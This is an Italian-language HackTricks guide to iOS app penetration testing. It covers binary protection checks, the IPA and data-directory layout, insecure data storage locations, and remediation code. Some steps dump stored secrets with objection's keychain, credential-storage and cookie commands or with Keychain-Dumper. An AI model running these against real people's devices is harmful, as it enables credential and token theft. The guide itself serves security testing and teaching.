hacktricks/mobile-pentesting/ios-pentesting/README.md

68 KiB
Raw Blame History

iOS Pentesting


Usa Trickest per costruire e automatizzare flussi di lavoro facilmente, alimentati dagli strumenti della comunità più avanzati al mondo.
Ottieni accesso oggi:

{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=ios-pentesting" %}

{% hint style="success" %} Impara e pratica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Supporta HackTricks
{% endhint %} {% endhint %}

iOS Basics

{% content-ref url="ios-basics.md" %} ios-basics.md {% endcontent-ref %}

Testing Environment

In questa pagina puoi trovare informazioni sul simulatore iOS, emulatori e jailbreaking:

{% content-ref url="ios-testing-environment.md" %} ios-testing-environment.md {% endcontent-ref %}

Initial Analysis

Basic iOS Testing Operations

Durante il testing saranno suggerite diverse operazioni (connettersi al dispositivo, leggere/scrivere/caricare/scaricare file, utilizzare alcuni strumenti...). Pertanto, se non sai come eseguire nessuna di queste azioni, per favore, inizia a leggere la pagina:

{% content-ref url="basic-ios-testing-operations.md" %} basic-ios-testing-operations.md {% endcontent-ref %}

{% hint style="info" %} Per i seguenti passaggi l'app dovrebbe essere installata nel dispositivo e dovrebbe già aver ottenuto il file IPA dell'applicazione.
Leggi la pagina Basic iOS Testing Operations per imparare come fare. {% endhint %}

Basic Static Analysis

È consigliato utilizzare lo strumento MobSF per eseguire un'analisi statica automatica sul file IPA.

Identificazione delle protezioni presenti nel binario:

  • PIE (Position Independent Executable): Quando abilitato, l'applicazione si carica in un indirizzo di memoria casuale ogni volta che viene avviata, rendendo più difficile prevedere il suo indirizzo di memoria iniziale.
otool -hv <app-binary> | grep PIE   # Dovrebbe includere il flag PIE
  • Stack Canaries: Per convalidare l'integrità dello stack, un valore canary viene posizionato nello stack prima di chiamare una funzione e viene convalidato nuovamente una volta che la funzione termina.
otool -I -v <app-binary> | grep stack_chk   # Dovrebbe includere i simboli: stack_chk_guard e stack_chk_fail
  • ARC (Automatic Reference Counting): Per prevenire comuni difetti di corruzione della memoria
otool -I -v <app-binary> | grep objc_release   # Dovrebbe includere il simbolo _objc_release
  • Binary Crittografato: Il binario dovrebbe essere crittografato
otool -arch all -Vl <app-binary> | grep -A5 LC_ENCRYPT   # Il cryptid dovrebbe essere 1

Identificazione di Funzioni Sensibili/Insecure

  • Algoritmi di Hash Deboli
# Sul dispositivo iOS
otool -Iv <app> | grep -w "_CC_MD5"
otool -Iv <app> | grep -w "_CC_SHA1"

# Su linux
grep -iER "_CC_MD5"
grep -iER "_CC_SHA1"
  • Funzioni Random Insecure
# Sul dispositivo iOS
otool -Iv <app> | grep -w "_random"
otool -Iv <app> | grep -w "_srand"
otool -Iv <app> | grep -w "_rand"

# Su linux
grep -iER "_random"
grep -iER "_srand"
grep -iER "_rand"
  • Funzione Malloc Insecure
# Sul dispositivo iOS
otool -Iv <app> | grep -w "_malloc"

# Su linux
grep -iER "_malloc"
  • Funzioni Insecure e Vulnerabili
# Sul dispositivo iOS
otool -Iv <app> | grep -w "_gets"
otool -Iv <app> | grep -w "_memcpy"
otool -Iv <app> | grep -w "_strncpy"
otool -Iv <app> | grep -w "_strlen"
otool -Iv <app> | grep -w "_vsnprintf"
otool -Iv <app> | grep -w "_sscanf"
otool -Iv <app> | grep -w "_strtok"
otool -Iv <app> | grep -w "_alloca"
otool -Iv <app> | grep -w "_sprintf"
otool -Iv <app> | grep -w "_printf"
otool -Iv <app> | grep -w "_vsprintf"

# Su linux
grep -R "_gets"
grep -iER "_memcpy"
grep -iER "_strncpy"
grep -iER "_strlen"
grep -iER "_vsnprintf"
grep -iER "_sscanf"
grep -iER "_strtok"
grep -iER "_alloca"
grep -iER "_sprintf"
grep -iER "_printf"
grep -iER "_vsprintf"

Basic Dynamic Analysis

Controlla l'analisi dinamica che MobSF esegue. Dovrai navigare tra le diverse visualizzazioni e interagire con esse, ma collegherà diverse classi mentre esegue altre operazioni e preparerà un rapporto una volta completato.

Listing Installed Apps

Usa il comando frida-ps -Uai per determinare il bundle identifier delle app installate:

$ frida-ps -Uai
PID  Name                 Identifier
----  -------------------  -----------------------------------------
6847  Calendar             com.apple.mobilecal
6815  Mail                 com.apple.mobilemail
-  App Store            com.apple.AppStore
-  Apple Store          com.apple.store.Jolly
-  Calculator           com.apple.calculator
-  Camera               com.apple.camera
-  iGoat-Swift          OWASP.iGoat-Swift

Enumerazione di Base & Hooking

Impara come enumerare i componenti dell'applicazione e come hookare metodi e classi con objection:

{% content-ref url="ios-hooking-with-objection.md" %} ios-hooking-with-objection.md {% endcontent-ref %}

Struttura IPA

La struttura di un file IPA è essenzialmente quella di un pacchetto compresso. Rinominando la sua estensione in .zip, può essere decompresso per rivelarne i contenuti. All'interno di questa struttura, un Bundle rappresenta un'applicazione completamente impacchettata pronta per l'installazione. All'interno, troverai una directory chiamata <NAME>.app, che racchiude le risorse dell'applicazione.

  • Info.plist: Questo file contiene dettagli di configurazione specifici dell'applicazione.
  • _CodeSignature/: Questa directory include un file plist che contiene una firma, garantendo l'integrità di tutti i file nel bundle.
  • Assets.car: Un archivio compresso che memorizza file di asset come icone.
  • Frameworks/: Questa cartella ospita le librerie native dell'applicazione, che possono essere sotto forma di file .dylib o .framework.
  • PlugIns/: Questo può includere estensioni all'applicazione, note come file .appex, anche se non sono sempre presenti. * Core Data: Viene utilizzato per salvare i dati permanenti della tua applicazione per l'uso offline, per memorizzare dati temporanei e per aggiungere funzionalità di annullamento all'app su un singolo dispositivo. Per sincronizzare i dati su più dispositivi in un singolo account iCloud, Core Data rispecchia automaticamente il tuo schema in un contenitore CloudKit.
  • PkgInfo: Il file PkgInfo è un modo alternativo per specificare i codici di tipo e creatore della tua applicazione o bundle.
  • en.lproj, fr.proj, Base.lproj: Sono i pacchetti linguistici che contengono risorse per quelle lingue specifiche e una risorsa predefinita nel caso in cui una lingua non sia supportata.
  • Sicurezza: La directory _CodeSignature/ gioca un ruolo critico nella sicurezza dell'app verificando l'integrità di tutti i file inclusi tramite firme digitali.
  • Gestione degli Asset: Il file Assets.car utilizza la compressione per gestire in modo efficiente gli asset grafici, cruciale per ottimizzare le prestazioni dell'applicazione e ridurre le sue dimensioni complessive.
  • Frameworks e PlugIns: Queste directory sottolineano la modularità delle applicazioni iOS, consentendo agli sviluppatori di includere librerie di codice riutilizzabili (Frameworks/) e di estendere la funzionalità dell'app (PlugIns/).
  • Localizzazione: La struttura supporta più lingue, facilitando la portata globale dell'applicazione includendo risorse per pacchetti linguistici specifici.

Info.plist

Il Info.plist funge da pietra miliare per le applicazioni iOS, racchiudendo dati di configurazione chiave sotto forma di coppie chiave-valore. Questo file è un requisito non solo per le applicazioni ma anche per le estensioni delle app e i framework inclusi. È strutturato in formato XML o binario e contiene informazioni critiche che vanno dai permessi dell'app alle configurazioni di sicurezza. Per un'esplorazione dettagliata delle chiavi disponibili, è possibile fare riferimento alla Documentazione per Sviluppatori Apple.

Per coloro che desiderano lavorare con questo file in un formato più accessibile, la conversione in XML può essere effettuata senza sforzo utilizzando plutil su macOS (disponibile nativamente nelle versioni 10.2 e successive) o plistutil su Linux. I comandi per la conversione sono i seguenti:

  • Per macOS:
$ plutil -convert xml1 Info.plist
  • Per Linux:
$ apt install libplist-utils
$ plistutil -i Info.plist -o Info_xml.plist

Tra la miriade di informazioni che il file Info.plist può rivelare, le voci notevoli includono le stringhe di autorizzazione dell'app (UsageDescription), gli schemi URL personalizzati (CFBundleURLTypes) e le configurazioni per la Sicurezza del Trasporto dell'App (NSAppTransportSecurity). Queste voci, insieme ad altre come i tipi di documenti personalizzati esportati/importati (UTExportedTypeDeclarations / UTImportedTypeDeclarations), possono essere facilmente individuate ispezionando il file o utilizzando un semplice comando grep:

$ grep -i <keyword> Info.plist

Percorsi dei Dati

Nell'ambiente iOS, le directory sono designate specificamente per applicazioni di sistema e applicazioni installate dall'utente. Le applicazioni di sistema risiedono nella directory /Applications, mentre le app installate dall'utente sono collocate sotto /var/mobile/containers/Data/Application/. Queste applicazioni sono assegnate a un identificatore unico noto come UUID a 128 bit, rendendo difficile il compito di localizzare manualmente la cartella di un'app a causa della casualità dei nomi delle directory.

{% hint style="warning" %} Poiché le applicazioni in iOS devono essere isolate, ogni app avrà anche una cartella all'interno di $HOME/Library/Containers con CFBundleIdentifier dell'app come nome della cartella.

Tuttavia, entrambe le cartelle (dati e cartelle contenitore) hanno il file .com.apple.mobile_container_manager.metadata.plist che collega entrambi i file nella chiave MCMetadataIdentifier). {% endhint %}

Per facilitare la scoperta della directory di installazione di un'app installata dall'utente, lo strumento objection fornisce un comando utile, env. Questo comando rivela informazioni dettagliate sulla directory per l'app in questione. Di seguito è riportato un esempio di come utilizzare questo comando:

OWASP.iGoat-Swift on (iPhone: 11.1.2) [usb] # env

Name               Path
-----------------  -------------------------------------------------------------------------------------------
BundlePath         /var/containers/Bundle/Application/3ADAF47D-A734-49FA-B274-FBCA66589E67/iGoat-Swift.app
CachesDirectory    /var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693/Library/Caches
DocumentDirectory  /var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693/Documents
LibraryDirectory   /var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693/Library

In alternativa, il nome dell'app può essere cercato all'interno di /private/var/containers utilizzando il comando find:

find /private/var/containers -name "Progname*"

Comandi come ps e lsof possono essere utilizzati per identificare il processo dell'app e elencare i file aperti, rispettivamente, fornendo informazioni sui percorsi delle directory attive dell'applicazione:

ps -ef | grep -i <app-name>
lsof -p <pid> | grep -i "/containers" | head -n 1

Directory del pacchetto:

  • AppName.app
  • Questo è il pacchetto dell'applicazione come visto prima nell'IPA, contiene dati essenziali dell'applicazione, contenuti statici e il binario compilato dell'applicazione.
  • Questa directory è visibile agli utenti, ma gli utenti non possono scriverci.
  • Il contenuto in questa directory non è sottoposto a backup.
  • I contenuti di questa cartella sono utilizzati per validare la firma del codice.

Directory dei dati:

  • Documents/
  • Contiene tutti i dati generati dall'utente. L'utente finale dell'applicazione avvia la creazione di questi dati.
  • Visibile agli utenti e gli utenti possono scriverci.
  • Il contenuto in questa directory è sottoposto a backup.
  • L'app può disabilitare i percorsi impostando NSURLIsExcludedFromBackupKey.
  • Library/
  • Contiene tutti i file che non sono specifici per l'utente, come cache, preferenze, cookie e file di configurazione plist.
  • Le app iOS di solito utilizzano le sottodirectory Application Support e Caches, ma l'app può creare sottodirectory personalizzate.
  • Library/Caches/
  • Contiene file cache semi-persistenti.
  • Invisibile agli utenti e gli utenti non possono scriverci.
  • Il contenuto in questa directory non è sottoposto a backup.
  • Il sistema operativo può eliminare automaticamente i file di questa directory quando l'app non è in esecuzione e lo spazio di archiviazione è scarso.
  • Library/Application Support/
  • Contiene file persistenti necessari per l'esecuzione dell'app.
  • Invisibile agli utenti e gli utenti non possono scriverci.
  • Il contenuto in questa directory è sottoposto a backup.
  • L'app può disabilitare i percorsi impostando NSURLIsExcludedFromBackupKey.
  • Library/Preferences/
  • Utilizzato per memorizzare proprietà che possono persistere anche dopo che un'applicazione è stata riavviata.
  • Le informazioni vengono salvate, non crittografate, all'interno della sandbox dell'applicazione in un file plist chiamato [BUNDLE_ID].plist.
  • Tutti i coppie chiave/valore memorizzate utilizzando NSUserDefaults possono essere trovate in questo file.
  • tmp/
  • Utilizza questa directory per scrivere file temporanei che non devono persistere tra i lanci dell'app.
  • Contiene file cache non persistenti.
  • Invisibile agli utenti.
  • Il contenuto in questa directory non è sottoposto a backup.
  • Il sistema operativo può eliminare automaticamente i file di questa directory quando l'app non è in esecuzione e lo spazio di archiviazione è scarso.

Diamo un'occhiata più da vicino alla directory del pacchetto dell'applicazione iGoat-Swift (.app) all'interno della directory del pacchetto (/var/containers/Bundle/Application/3ADAF47D-A734-49FA-B274-FBCA66589E67/iGoat-Swift.app):

OWASP.iGoat-Swift on (iPhone: 11.1.2) [usb] # ls
NSFileType      Perms  NSFileProtection    ...  Name
------------  -------  ------------------  ...  --------------------------------------
Regular           420  None                ...  rutger.html
Regular           420  None                ...  mansi.html
Regular           420  None                ...  splash.html
Regular           420  None                ...  about.html

Regular           420  None                ...  LICENSE.txt
Regular           420  None                ...  Sentinel.txt
Regular           420  None                ...  README.txt

Binary Reversing

All'interno della cartella <application-name>.app troverai un file binario chiamato <application-name>. Questo è il file che verrà eseguito. Puoi eseguire un'ispezione di base del binario con lo strumento otool:

otool -Vh DVIA-v2 #Check some compilation attributes
magic  cputype cpusubtype  caps    filetype ncmds sizeofcmds      flags
MH_MAGIC_64    ARM64        ALL  0x00     EXECUTE    65       7112   NOUNDEFS DYLDLINK TWOLEVEL WEAK_DEFINES BINDS_TO_WEAK PIE

otool -L DVIA-v2 #Get third party libraries
DVIA-v2:
/usr/lib/libc++.1.dylib (compatibility version 1.0.0, current version 400.9.1)
/usr/lib/libsqlite3.dylib (compatibility version 9.0.0, current version 274.6.0)
/usr/lib/libz.1.dylib (compatibility version 1.0.0, current version 1.2.11)
@rpath/Bolts.framework/Bolts (compatibility version 1.0.0, current version 1.0.0)
[...]

Controlla se l'app è crittografata

Vedi se c'è qualche output per:

otool -l <app-binary> | grep -A 4 LC_ENCRYPTION_INFO

Disassemblare il binario

Disassemblare la sezione di testo:

otool -tV DVIA-v2
DVIA-v2:
(__TEXT,__text) section
+[DDLog initialize]:
0000000100004ab8    sub    sp, sp, #0x60
0000000100004abc    stp    x29, x30, [sp, #0x50]   ; Latency: 6
0000000100004ac0    add    x29, sp, #0x50
0000000100004ac4    sub    x8, x29, #0x10
0000000100004ac8    mov    x9, #0x0
0000000100004acc    adrp    x10, 1098 ; 0x10044e000
0000000100004ad0    add    x10, x10, #0x268

Per stampare il segmento Objective-C dell'applicazione di esempio si può usare:

otool -oV DVIA-v2
DVIA-v2:
Contents of (__DATA,__objc_classlist) section
00000001003dd5b8 0x1004423d0 _OBJC_CLASS_$_DDLog
isa        0x1004423a8 _OBJC_METACLASS_$_DDLog
superclass 0x0 _OBJC_CLASS_$_NSObject
cache      0x0 __objc_empty_cache
vtable     0x0
data       0x1003de748
flags          0x80
instanceStart  8

Per ottenere un codice Objective-C più compatto puoi usare class-dump:

class-dump some-app
//
//     Generated by class-dump 3.5 (64 bit).
//
//     class-dump is Copyright (C) 1997-1998, 2000-2001, 2004-2013 by Steve Nygard.
//

#pragma mark Named Structures

struct CGPoint {
double _field1;
double _field2;
};

struct CGRect {
struct CGPoint _field1;
struct CGSize _field2;
};

struct CGSize {
double _field1;
double _field2;
};

Tuttavia, le migliori opzioni per disassemblare il binario sono: Hopper e IDA.


Usa Trickest per costruire e automatizzare flussi di lavoro alimentati dagli strumenti comunitari più avanzati al mondo.
Accedi oggi:

{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=ios-pentesting" %}

Archiviazione Dati

Per saperne di più su come iOS memorizza i dati nel dispositivo, leggi questa pagina:

{% content-ref url="ios-basics.md" %} ios-basics.md {% endcontent-ref %}

{% hint style="warning" %} I seguenti luoghi per memorizzare informazioni dovrebbero essere controllati subito dopo aver installato l'applicazione, dopo aver verificato tutte le funzionalità dell'applicazione e anche dopo essere disconnessi da un utente e accedere a un altro.
L'obiettivo è trovare informazioni sensibili non protette dell'applicazione (password, token), dell'utente attuale e degli utenti precedentemente connessi. {% endhint %}

Plist

I file plist sono file XML strutturati che contengono coppie chiave-valore. È un modo per memorizzare dati persistenti, quindi a volte potresti trovare informazioni sensibili in questi file. È consigliato controllare questi file dopo aver installato l'app e dopo averla utilizzata intensivamente per vedere se vengono scritti nuovi dati.

Il modo più comune per persistere i dati nei file plist è attraverso l'uso di NSUserDefaults. Questo file plist è salvato all'interno della sandbox dell'app in Library/Preferences/<appBundleID>.plist

La classe NSUserDefaults fornisce un'interfaccia programmatica per interagire con il sistema predefinito. Il sistema predefinito consente a un'applicazione di personalizzare il proprio comportamento in base alle preferenze dell'utente. I dati salvati da NSUserDefaults possono essere visualizzati nel pacchetto dell'applicazione. Questa classe memorizza dati in un file plist, ma è destinata ad essere utilizzata con piccole quantità di dati.

Questi dati non possono più essere accessibili direttamente tramite un computer fidato, ma possono essere accessibili eseguendo un backup.

Puoi dumpare le informazioni salvate utilizzando NSUserDefaults usando ios nsuserdefaults get di objection.

Per trovare tutti i plist utilizzati dall'applicazione, puoi accedere a /private/var/mobile/Containers/Data/Application/{APPID} e eseguire:

find ./ -name "*.plist"

Per convertire file da XML o formato binario (bplist) a XML, sono disponibili vari metodi a seconda del tuo sistema operativo:

Per gli utenti macOS: Utilizza il comando plutil. È uno strumento integrato in macOS (10.2+), progettato per questo scopo:

$ plutil -convert xml1 Info.plist

Per gli utenti Linux: Installa prima libplist-utils, poi usa plistutil per convertire il tuo file:

$ apt install libplist-utils
$ plistutil -i Info.plist -o Info_xml.plist

All'interno di una sessione Objection: Per analizzare le applicazioni mobili, un comando specifico consente di convertire i file plist direttamente:

ios plist cat /private/var/mobile/Containers/Data/Application/<Application-UUID>/Library/Preferences/com.some.package.app.plist

Core Data

Core Data è un framework per gestire il livello del modello degli oggetti nella tua applicazione. Core Data può utilizzare SQLite come suo archivio persistente, ma il framework stesso non è un database.
CoreData non cripta i suoi dati per impostazione predefinita. Tuttavia, è possibile aggiungere uno strato di crittografia aggiuntivo a CoreData. Vedi il GitHub Repo per ulteriori dettagli.

Puoi trovare le informazioni di SQLite Core Data di un'applicazione nel percorso /private/var/mobile/Containers/Data/Application/{APPID}/Library/Application Support

Se riesci ad aprire SQLite e accedere a informazioni sensibili, allora hai trovato una configurazione errata.

{% code title="Code from iGoat" %}

-(void)storeDetails {
AppDelegate * appDelegate = (AppDelegate *)(UIApplication.sharedApplication.delegate);

NSManagedObjectContext *context =[appDelegate managedObjectContext];

User *user = [self fetchUser];
if (user) {
return;
}
user = [NSEntityDescription insertNewObjectForEntityForName:@"User"
inManagedObjectContext:context];
user.email = CoreDataEmail;
user.password = CoreDataPassword;
NSError *error;
if (![context save:&error]) {
NSLog(@"Error in saving data: %@", [error localizedDescription]);

}else{
NSLog(@"data stored in core data");
}
}

{% endcode %}

YapDatabase

YapDatabase è un archivio chiave/valore costruito su SQLite.
Poiché i database Yap sono database sqlite, puoi trovarli utilizzando il comando proposto nella sezione precedente.

Altri Database SQLite

È comune per le applicazioni creare il proprio database sqlite. Potrebbero memorizzare dati sensibili su di essi e lasciarli non crittografati. Pertanto, è sempre interessante controllare ogni database all'interno della directory delle applicazioni. Pertanto, vai alla directory dell'applicazione dove i dati sono salvati (/private/var/mobile/Containers/Data/Application/{APPID})

find ./ -name "*.sqlite" -or -name "*.db"

Firebase Real-Time Databases

Gli sviluppatori possono memorizzare e sincronizzare i dati all'interno di un database NoSQL ospitato nel cloud tramite Firebase Real-Time Databases. Memorizzati in formato JSON, i dati vengono sincronizzati a tutti i client connessi in tempo reale.

Puoi trovare come controllare i database Firebase mal configurati qui:

{% content-ref url="../../network-services-pentesting/pentesting-web/buckets/firebase-database.md" %} firebase-database.md {% endcontent-ref %}

Realm databases

Realm Objective-C e Realm Swift offrono un'alternativa potente per la memorizzazione dei dati, non fornita da Apple. Per impostazione predefinita, memorizzano i dati non crittografati, con la crittografia disponibile tramite configurazione specifica.

I database si trovano in: /private/var/mobile/Containers/Data/Application/{APPID}. Per esplorare questi file, si possono utilizzare comandi come:

iPhone:/private/var/mobile/Containers/Data/Application/A079DF84-726C-4AEA-A194-805B97B3684A/Documents root# ls
default.realm  default.realm.lock  default.realm.management/  default.realm.note|

$ find ./ -name "*.realm*"

Per visualizzare questi file di database, si consiglia lo strumento Realm Studio.

Per implementare la crittografia all'interno di un database Realm, è possibile utilizzare il seguente frammento di codice:

// Open the encrypted Realm file where getKey() is a method to obtain a key from the Keychain or a server
let config = Realm.Configuration(encryptionKey: getKey())
do {
let realm = try Realm(configuration: config)
// Use the Realm as normal
} catch let error as NSError {
// If the encryption key is wrong, `error` will say that it's an invalid database
fatalError("Error opening realm: \(error)")
}

Couchbase Lite Databases

Couchbase Lite è descritto come un motore di database leggero e integrato che segue l'approccio orientato ai documenti (NoSQL). Progettato per essere nativo su iOS e macOS, offre la possibilità di sincronizzare i dati senza soluzione di continuità.

Per identificare potenziali database Couchbase su un dispositivo, la seguente directory dovrebbe essere ispezionata:

ls /private/var/mobile/Containers/Data/Application/{APPID}/Library/Application Support/

Cookies

iOS memorizza i cookie delle app in Library/Cookies/cookies.binarycookies all'interno della cartella di ciascuna app. Tuttavia, a volte gli sviluppatori decidono di salvarli nel keychain poiché il file dei cookie può essere accessibile nei backup.

Per ispezionare il file dei cookie puoi usare questo script python o usare ios cookies get di objection.
Puoi anche usare objection per convertire questi file in un formato JSON e ispezionare i dati.

...itudehacks.DVIAswiftv2.develop on (iPhone: 13.2.3) [usb] # ios cookies get --json
[
{
"domain": "highaltitudehacks.com",
"expiresDate": "2051-09-15 07:46:43 +0000",
"isHTTPOnly": "false",
"isSecure": "false",
"name": "username",
"path": "/",
"value": "admin123",
"version": "0"
}
]

Cache

Per impostazione predefinita, NSURLSession memorizza i dati, come richieste e risposte HTTP nel database Cache.db. Questo database può contenere dati sensibili, se token, nomi utente o altre informazioni sensibili sono stati memorizzati nella cache. Per trovare le informazioni memorizzate nella cache, apri la directory dei dati dell'app (/var/mobile/Containers/Data/Application/<UUID>) e vai a /Library/Caches/<Bundle Identifier>. La cache di WebKit è anche memorizzata nel file Cache.db. Objection può aprire e interagire con il database con il comando sqlite connect Cache.db, poiché è un** normale database SQLite**.

È consigliato disabilitare la memorizzazione nella cache di questi dati, poiché potrebbe contenere informazioni sensibili nella richiesta o nella risposta. La seguente lista mostra diversi modi per raggiungere questo obiettivo:

  1. È consigliato rimuovere le risposte memorizzate nella cache dopo il logout. Questo può essere fatto con il metodo fornito da Apple chiamato removeAllCachedResponses. Puoi chiamare questo metodo come segue:

URLCache.shared.removeAllCachedResponses()

Questo metodo rimuoverà tutte le richieste e risposte memorizzate nella cache dal file Cache.db. 2. Se non hai bisogno di utilizzare il vantaggio dei cookie, sarebbe consigliato utilizzare semplicemente la proprietà di configurazione .ephemeral di URLSession, che disabiliterà il salvataggio dei cookie e delle cache.

Documentazione Apple:

Un oggetto di configurazione della sessione effimera è simile a una configurazione della sessione predefinita (vedi predefinito), tranne per il fatto che l'oggetto di sessione corrispondente non memorizza cache, archivi di credenziali o dati relativi alla sessione su disco. Invece, i dati relativi alla sessione sono memorizzati nella RAM. L'unica volta in cui una sessione effimera scrive dati su disco è quando le dici di scrivere il contenuto di un URL in un file. 3. La cache può essere disabilitata impostando la Politica di Cache su .notAllowed. Disabiliterà la memorizzazione della cache in qualsiasi modo, sia in memoria che su disco.

Snapshots

Ogni volta che premi il pulsante home, iOS prende uno snapshot dello schermo corrente per poter effettuare la transizione all'applicazione in modo molto più fluido. Tuttavia, se sono presenti dati sensibili nello schermo corrente, verranno salvati nell'immagine (che persiste attraverso riavvii). Questi sono gli snapshot a cui puoi accedere anche facendo doppio tap sulla schermata home per passare tra le app.

A meno che l'iPhone non sia jailbroken, l'attaccante deve avere accesso al dispositivo sbloccato per vedere questi screenshot. Per impostazione predefinita, l'ultimo snapshot è memorizzato nel sandbox dell'applicazione nella cartella Library/Caches/Snapshots/ o Library/SplashBoard/Snapshots (i computer fidati non possono accedere al filesystem da iOX 7.0).

Un modo per prevenire questo comportamento indesiderato è mettere uno schermo vuoto o rimuovere i dati sensibili prima di prendere lo snapshot utilizzando la funzione ApplicationDidEnterBackground().

Di seguito è riportato un esempio di metodo di rimedio che imposterà uno screenshot predefinito.

Swift:

private var backgroundImage: UIImageView?

func applicationDidEnterBackground(_ application: UIApplication) {
let myBanner = UIImageView(image: #imageLiteral(resourceName: "overlayImage"))
myBanner.frame = UIScreen.main.bounds
backgroundImage = myBanner
window?.addSubview(myBanner)
}

func applicationWillEnterForeground(_ application: UIApplication) {
backgroundImage?.removeFromSuperview()
}

Obiettivo-C:

@property (UIImageView *)backgroundImage;

- (void)applicationDidEnterBackground:(UIApplication *)application {
UIImageView *myBanner = [[UIImageView alloc] initWithImage:@"overlayImage.png"];
self.backgroundImage = myBanner;
self.backgroundImage.bounds = UIScreen.mainScreen.bounds;
[self.window addSubview:myBanner];
}

- (void)applicationWillEnterForeground:(UIApplication *)application {
[self.backgroundImage removeFromSuperview];
}

Questo imposta l'immagine di sfondo su overlayImage.png ogni volta che l'applicazione viene messa in background. Previene le perdite di dati sensibili perché overlayImage.png sovrascriverà sempre la vista corrente.

Keychain

Per accedere e gestire il keychain iOS, sono disponibili strumenti come Keychain-Dumper, adatti per dispositivi jailbroken. Inoltre, Objection fornisce il comando ios keychain dump per scopi simili.

Memorizzazione delle Credenziali

La classe NSURLCredential è ideale per salvare informazioni sensibili direttamente nel keychain, bypassando la necessità di NSUserDefaults o altri wrapper. Per memorizzare le credenziali dopo il login, viene utilizzato il seguente codice Swift:

NSURLCredential *credential;
credential = [NSURLCredential credentialWithUser:username password:password persistence:NSURLCredentialPersistencePermanent];
[[NSURLCredentialStorage sharedCredentialStorage] setCredential:credential forProtectionSpace:self.loginProtectionSpace];

Per estrarre queste credenziali memorizzate, viene utilizzato il comando di Objection ios nsurlcredentialstorage dump.

Tastiere Personalizzate e Cache della Tastiera

Con iOS 8.0 e versioni successive, gli utenti possono installare estensioni di tastiere personalizzate, gestibili sotto Impostazioni > Generale > Tastiera > Tastiere. Sebbene queste tastiere offrano funzionalità estese, comportano un rischio di registrazione dei tasti e trasmissione dei dati a server esterni, anche se gli utenti vengono avvisati riguardo alle tastiere che richiedono accesso alla rete. Le app possono e dovrebbero limitare l'uso di tastiere personalizzate per l'inserimento di informazioni sensibili.

Raccomandazioni di Sicurezza:

  • Si consiglia di disabilitare le tastiere di terze parti per una maggiore sicurezza.
  • Fai attenzione alle funzionalità di correzione automatica e suggerimenti automatici della tastiera iOS predefinita, che potrebbero memorizzare informazioni sensibili in file di cache situati in Library/Keyboard/{locale}-dynamic-text.dat o /private/var/mobile/Library/Keyboard/dynamic-text.dat. Questi file di cache dovrebbero essere controllati regolarmente per dati sensibili. Si raccomanda di ripristinare il dizionario della tastiera tramite Impostazioni > Generale > Ripristina > Ripristina Dizionario Tastiera per cancellare i dati memorizzati.
  • L'intercettazione del traffico di rete può rivelare se una tastiera personalizzata sta trasmettendo i tasti in remoto.

Prevenire la Cache dei Campi di Testo

Il protocollo UITextInputTraits offre proprietà per gestire la correzione automatica e l'inserimento di testo sicuro, essenziali per prevenire la memorizzazione di informazioni sensibili. Ad esempio, disabilitare la correzione automatica e abilitare l'inserimento di testo sicuro può essere ottenuto con:

textObject.autocorrectionType = UITextAutocorrectionTypeNo;
textObject.secureTextEntry = YES;

Inoltre, gli sviluppatori dovrebbero assicurarsi che i campi di testo, specialmente quelli per l'inserimento di informazioni sensibili come password e PIN, disabilitino la memorizzazione nella cache impostando autocorrectionType su UITextAutocorrectionTypeNo e secureTextEntry su YES.

UITextField *textField = [[UITextField alloc] initWithFrame:frame];
textField.autocorrectionType = UITextAutocorrectionTypeNo;

Logs

Il debug del codice spesso comporta l'uso di logging. C'è un rischio coinvolto poiché i log possono contenere informazioni sensibili. In precedenza, in iOS 6 e versioni precedenti, i log erano accessibili a tutte le app, ponendo un rischio di perdita di dati sensibili. Ora, le applicazioni sono limitate ad accedere solo ai propri log.

Nonostante queste restrizioni, un attaccante con accesso fisico a un dispositivo sbloccato può ancora sfruttare questa situazione collegando il dispositivo a un computer e leggendo i log. È importante notare che i log rimangono sul disco anche dopo la disinstallazione dell'app.

Per mitigare i rischi, si consiglia di interagire a fondo con l'app, esplorando tutte le sue funzionalità e input per garantire che nessuna informazione sensibile venga registrata involontariamente.

Quando si esamina il codice sorgente dell'app per potenziali perdite, cercare sia dichiarazioni di logging predefinite che personalizzate utilizzando parole chiave come NSLog, NSAssert, NSCAssert, fprintf per funzioni integrate, e qualsiasi menzione di Logging o Logfile per implementazioni personalizzate.

Monitoring System Logs

Le app registrano vari pezzi di informazione che possono essere sensibili. Per monitorare questi log, strumenti e comandi come:

idevice_id --list   # To find the device ID
idevicesyslog -u <id> (| grep <app>)   # To capture the device logs

sono utili. Inoltre, Xcode offre un modo per raccogliere i log della console:

  1. Apri Xcode.
  2. Collega il dispositivo iOS.
  3. Naviga su Finestra -> Dispositivi e Simulatori.
  4. Seleziona il tuo dispositivo.
  5. Attiva il problema che stai investigando.
  6. Usa il pulsante Apri Console per visualizzare i log in una nuova finestra.

Per un logging più avanzato, collegarsi alla shell del dispositivo e utilizzare socat può fornire un monitoraggio dei log in tempo reale:

iPhone:~ root# socat - UNIX-CONNECT:/var/run/lockdown/syslog.sock

Seguito da comandi per osservare le attività di log, che possono essere inestimabili per diagnosticare problemi o identificare potenziali perdite di dati nei log.



Usa Trickest per costruire e automatizzare flussi di lavoro facilmente, alimentati dagli strumenti comunitari più avanzati al mondo.
Accedi oggi:

{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=ios-pentesting" %}

Backup

Le funzionalità di auto-backup sono integrate in iOS, facilitando la creazione di copie dei dati del dispositivo tramite iTunes (fino a macOS Catalina), Finder (da macOS Catalina in poi) o iCloud. Questi backup comprendono quasi tutti i dati del dispositivo, escludendo elementi altamente sensibili come i dettagli di Apple Pay e le configurazioni di Touch ID.

Rischi di Sicurezza

L'inclusione di app installate e dei loro dati nei backup solleva la questione della potenziale perdita di dati e il rischio che le modifiche ai backup possano alterare la funzionalità dell'app. Si consiglia di non memorizzare informazioni sensibili in testo semplice all'interno della directory di qualsiasi app o delle sue sottodirectory per mitigare questi rischi.

